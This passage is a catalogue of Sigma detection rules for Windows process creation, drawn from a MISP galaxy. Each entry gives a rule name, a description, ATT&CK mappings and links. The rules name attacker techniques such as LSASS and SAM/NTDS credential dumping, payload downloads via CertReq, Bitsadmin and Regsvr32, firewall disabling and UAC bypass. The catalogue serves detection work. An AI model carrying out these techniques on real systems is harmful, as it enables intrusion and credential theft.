The tag is: *misp-galaxy:sigma-rules="Suspicious Msbuild Execution By Uncommon Parent Process"*

Table 15289. Table References

Links
https://www.echotrail.io/insights/search/msbuild.exe
https://app.any.run/tasks/abdf586e-df0c-4d39-89a7-06bf24913401/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msbuild_susp_parent_process.yml

Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 2

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 2"*

Table 15290. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emoji_usage_in_cli_2.yml

Indirect Inline Command Execution Via Bash.EXE

Detects execution of Microsoft bash launcher with the "-c" flag. This can be used to potentially

bypass defenses and execute Linux or Windows-based binaries directly via bash.

The tag is: *misp-galaxy:sigma-rules="Indirect Inline Command Execution Via Bash.EXE"*

View relationships graph

Indirect Inline Command Execution Via Bash.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15291. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Bash/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bash_command_execution.yml

Suspicious Parent Double Extension File Execution

Detect execution of suspicious double extension files in ParentCommandLine

The tag is: *misp-galaxy:sigma-rules="Suspicious Parent Double Extension File Execution"*

View relationships graph

Suspicious Parent Double Extension File Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"

Table 15292. Table References

Links
https://www.virustotal.com/gui/file/7872d8845a332dce517adae9c3389fde5313ff2fed38c2577f3b498da786db68/behavior
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension_parent.yml

Setup16.EXE Execution With Custom .Lst File

Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can contain references to external program that "Setup16.EXE" will execute. Attackers and adversaries might leverage this as a living of the land utility.

The tag is: *misp-galaxy:sigma-rules="Setup16.EXE Execution With Custom .Lst File"*

View relationships graph

Setup16.EXE Execution With Custom .Lst File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005" with estimative-language:likelihood-probability="almost-certain"

Table 15293. Table References

Links
https://www.hexacorn.com/blog/2024/10/12/the-sweet16-the-oldbin-lolbin-called-setup16-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_setup16_custom_lst_execution.yml

Firewall Rule Update Via Netsh.EXE

Detects execution of netsh with the "advfirewall" and the "set" option in order to set new values for properties of a existing rule

The tag is: *misp-galaxy:sigma-rules="Firewall Rule Update Via Netsh.EXE"*

Table 15294. Table References

Links
https://ss64.com/nt/netsh.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_set_rule.yml

CobaltStrike Load by Rundll32

Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.

The tag is: *misp-galaxy:sigma-rules="CobaltStrike Load by Rundll32"*

View relationships graph

CobaltStrike Load by Rundll32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15295. Table References

Links
https://www.cobaltstrike.com/help-windows-executable
https://redcanary.com/threat-detection-report/
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_load_by_rundll32.yml

Copying Sensitive Files with Credential Data

Files with well-known filenames (sensitive files with credential data) copying

The tag is: *misp-galaxy:sigma-rules="Copying Sensitive Files with Credential Data"*

View relationships graph

Copying Sensitive Files with Credential Data has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15296. Table References

Links
https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Esentutl.yml
https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml

WMIC Remote Command Execution

Detects the execution of WMIC to query information on a remote system

The tag is: *misp-galaxy:sigma-rules="WMIC Remote Command Execution"*

View relationships graph

WMIC Remote Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15297. Table References

Links

https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_execution.yml

Potential Defense Evasion Via Right-to-Left Override

Detects the presence of the "u202+E" character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence. This is used as an obfuscation and masquerading techniques.

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Via Right-to-Left Override"*

View relationships graph

Potential Defense Evasion Via Right-to-Left Override has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"

Table 15298. Table References

Links
https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method
https://tria.ge/241015-l98snsyeje/behavioral2
https://redcanary.com/blog/right-to-left-override/
https://unicode-explorer.com/c/202E
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_right_to_left_override.yml

Suspicious Control Panel DLL Load

Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits

The tag is: *misp-galaxy:sigma-rules="Suspicious Control Panel DLL Load"*

View relationships graph

Suspicious Control Panel DLL Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15299. Table References

Links
https://twitter.com/rikvduijn/status/853251879320662017

https://twitter.com/felixw3000/status/853354851128025088
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_control_dll_load.yml

Suspicious CertReq Command to Download

Detects a suspicious CertReq execution downloading a file. This behavior is often used by attackers to download additional payloads or configuration files. Certreq is a built-in Windows utility used to request and retrieve certificates from a certification authority (CA). However, it can be abused by threat actors for malicious purposes.

The tag is: *misp-galaxy:sigma-rules="Suspicious CertReq Command to Download"*

View relationships graph

Suspicious CertReq Command to Download has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15300. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Certreq/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certreq_download.yml

Remote Access Tool - GoToAssist Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - GoToAssist Execution"*

View relationships graph

Remote Access Tool - GoToAssist Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15301. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_gotoopener.yml

Potential Product Class Reconnaissance Via Wmic.EXE

Detects the execution of WMIC in order to get a list of firewall, antivirus and antispywware products. Adversaries often enumerate security products installed on a system to identify security controls and potential ways to evade detection or disable protection mechanisms. This information helps them plan their next attack steps and choose appropriate techniques to bypass security measures.

The tag is: *misp-galaxy:sigma-rules="Potential Product Class Reconnaissance Via Wmic.EXE"*

View relationships graph

Potential Product Class Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15302. Table References

Links
https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1
https://www.trendmicro.com/en_us/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html
https://github.com/albertzsigovits/malware-notes/blob/c820c7fea76cf76a861b28ebc77e06100e20ec29/Ransomware/Maze.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_product_class.yml

Scheduled Task Executing Encoded Payload from Registry

Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.

The tag is: *misp-galaxy:sigma-rules="Scheduled Task Executing Encoded Payload from Registry"*

View relationships graph

Scheduled Task Executing Encoded Payload from Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15303. Table References

Links
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader_encoded.yml

HackTool - CrackMapExec Execution Patterns

Detects various execution patterns of the CrackMapExec pentesting framework

The tag is: *misp-galaxy:sigma-rules="HackTool - CrackMapExec Execution Patterns"*

View relationships graph

HackTool - CrackMapExec Execution Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15304. Table References

Links
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_execution_patterns.yml

Potentially Suspicious Regsvr32 HTTP IP Pattern

Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Regsvr32 HTTP IP Pattern"*

View relationships graph

Potentially Suspicious Regsvr32 HTTP IP Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15305. Table References

Links
https://twitter.com/mrd0x/status/1461041276514623491
https://twitter.com/tccontre18/status/1480950986650832903
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_http_ip_pattern.yml

PUA - SoftPerfect Netscan Execution

Detects usage of SoftPerfect's "netscan.exe". An application for scanning networks. It is actively used in-the-wild by threat actors to inspect and understand the network architecture of a victim.

The tag is: *misp-galaxy:sigma-rules="PUA - SoftPerfect Netscan Execution"*

View relationships graph

PUA - SoftPerfect Netscan Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 15306. Table References

Links
https://www.softperfect.com/products/networkscanner/
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue
https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/
https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf
https://www.protect.airbus.com/blog/uncovering-cyber-intruders-netscan/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_netscan.yml

PUA - System Informer Execution

Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations

The tag is: *misp-galaxy:sigma-rules="PUA - System Informer Execution"*

View relationships graph

PUA - System Informer Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 15307. Table References

Links
https://github.com/winsiderss/systeminformer
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_system_informer.yml

Suspicious Obfuscated PowerShell Code

Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines

The tag is: *misp-galaxy:sigma-rules="Suspicious Obfuscated PowerShell Code"*

Table 15308. Table References

Links
https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_encoded_obfusc.yml

Winrar Compressing Dump Files

Detects execution of WinRAR in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

The tag is: *misp-galaxy:sigma-rules="Winrar Compressing Dump Files"*

View relationships graph

Winrar Compressing Dump Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 15309. Table References

Links
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_exfil_dmp_files.yml

File Download Via Bitsadmin

Detects usage of bitsadmin downloading a file

The tag is: *misp-galaxy:sigma-rules="File Download Via Bitsadmin"*

View relationships graph

File Download Via Bitsadmin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15310. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
https://isc.sans.edu/diary/22264
https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml

Windows Firewall Disabled via PowerShell

Detects attempts to disable the Windows Firewall using PowerShell

The tag is: *misp-galaxy:sigma-rules="Windows Firewall Disabled via PowerShell"*

View relationships graph

Windows Firewall Disabled via PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 15311. Table References

Links
https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_firewall.yml

Potential PowerShell Downgrade Attack

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Downgrade Attack"*

View relationships graph

Potential PowerShell Downgrade Attack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15312. Table References

Links
https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#bypass-or-avoid-amsi-by-version-downgrade-
http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml

Suspicious Child Process of Notepad++ Updater - GUP.Exe

Detects suspicious child process creation by the Notepad++ updater process (gup.exe). This could indicate potential exploitation of the updater component to deliver unwanted malware.

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process of Notepad++ Updater - GUP.Exe"*

View relationships graph

Suspicious Child Process of Notepad++ Updater - GUP.Exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"

Table 15313. Table References

Links
https://securelist.com/notepad-supply-chain-attack/118708/
https://www.heise.de/en/news/Notepad-updater-installed-malware-11109726.html
https://notepad-plus-plus.org/news/v889-released/
https://www.validin.com/blog/exploring_notepad_plus_plus_network_indicators/
https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_susp_child_process.yml

Invoke-Obfuscation Via Use Clip

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip"*

View relationships graph

Invoke-Obfuscation Via Use Clip has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15314. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_clip.yml

Service Reconnaissance Via Wmic.EXE

An adversary might use WMI to check if a certain remote service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A

common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable

The tag is: *misp-galaxy:sigma-rules="Service Reconnaissance Via Wmic.EXE"*

View relationships graph

Service Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15315. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_service.yml

Execute Code with Pester.bat

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

The tag is: *misp-galaxy:sigma-rules="Execute Code with Pester.bat"*

View relationships graph

Execute Code with Pester.bat has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15316. Table References

Links
https://github.com/api0cradle/LOLBAS/blob/d148d278f5f205ce67cfaf49afdfb68071c7252a/OSScripts/pester.md
https://twitter.com/Oddvarmoe/status/993383596244258816
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pester_1.yml

PUA - RunXCmd Execution

Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts

The tag is: *misp-galaxy:sigma-rules="PUA - RunXCmd Execution"*

View relationships graph

PUA - RunXCmd Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 15317. Table References

Links
https://www.d7xtech.com/free-software/runx/
https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_runxcmd.yml

Suspicious File Download From IP Via Wget.EXE - Paths

Detects potentially suspicious file downloads directly from IP addresses and stored in suspicious locations using Wget.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious File Download From IP Via Wget.EXE - Paths"*

Table 15318. Table References

Links
https://www.gnu.org/software/wget/manual/wget.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wget_download_susp_locations.yml

PowerShell Base64 Encoded FromBase64String Cmdlet

Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line

The tag is: *misp-galaxy:sigma-rules="PowerShell Base64 Encoded FromBase64String Cmdlet"*

View relationships graph

PowerShell Base64 Encoded FromBase64String Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"

with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15319. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_frombase64string.yml

Change Default File Association To Executable Via Assoc

Detects when a program changes the default file association of any extension to an executable. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

The tag is: *misp-galaxy:sigma-rules="Change Default File Association To Executable Via Assoc"*

View relationships graph

Change Default File Association To Executable Via Assoc has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Table 15320. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assoc
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_assoc_tamper_exe_file_association.yml

Suspicious WmiPrvSE Child Process

Detects suspicious and uncommon child processes of WmiPrvSE

The tag is: *misp-galaxy:sigma-rules="Suspicious WmiPrvSE Child Process"*

View relationships graph

Suspicious WmiPrvSE Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"

with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15321. Table References

Links
https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi(aka_REvil)_Ransomware.yaml
https://twitter.com/ForensicITGuy/status/1334734244120309760
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_susp_child_processes.yml

Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE

Detects usage of cmdkey to look for cached credentials on the system

The tag is: *misp-galaxy:sigma-rules="Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE"*

View relationships graph

Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

Table 15322. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1003.005/T1003.005.md#atomic-test-1---cached-credential-dump-via-cmdkey
https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx
https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml

Remote Code Execute via Winrm.vbs

Detects an attempt to execute code or create service on remote host via winrm.vbs.

The tag is: *misp-galaxy:sigma-rules="Remote Code Execute via Winrm.vbs"*

View relationships graph

Remote Code Execute via Winrm.vbs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15323. Table References

Links
https://redcanary.com/blog/lateral-movement-winrm-wmi/
https://twitter.com/bohops/status/994405551751815170
https://lolbas-project.github.io/lolbas/Scripts/Winrm/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml

Potential Credential Dumping Via WER

Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Via WER"*

View relationships graph

Potential Credential Dumping Via WER has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15324. Table References

Links
https://github.com/deepinstinct/Lsass-Shtinkering
https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_werfault_lsass_shtinkering.yml

Start of NT Virtual DOS Machine

Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications

The tag is: *misp-galaxy:sigma-rules="Start of NT Virtual DOS Machine"*

Table 15325. Table References

Links
https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7
https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/
https://learn.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support
https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml

Registry Modification of MS-settings Protocol Handler

Detects registry modifications to the 'ms-settings' protocol handler, which is frequently targeted for UAC bypass or persistence. Attackers can modify this registry to execute malicious code with elevated privileges by hijacking the command execution path.

The tag is: *misp-galaxy:sigma-rules="Registry Modification of MS-settings Protocol Handler"*

View relationships graph

Registry Modification of MS-settings Protocol Handler has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15326. Table References

Links
https://www.trendmicro.com/en_us/research/25/f/water-curse.html
https://thedfirreport.com/2021/12/13/diavol-ransomware/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_registry_modification_of_ms_setting_protocol_handler.yml

Invoke-Obfuscation Obfuscated IEX Invocation

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation"*

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15327. Table References

Links
https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_obfuscated_iex_commandline.yml

Uncommon Extension Shim Database Installation Via Sdbinst.EXE

Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims

The tag is: *misp-galaxy:sigma-rules="Uncommon Extension Shim Database Installation Via Sdbinst.EXE"*

View relationships graph

Uncommon Extension Shim Database Installation Via Sdbinst.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"

Table 15328. Table References

Links

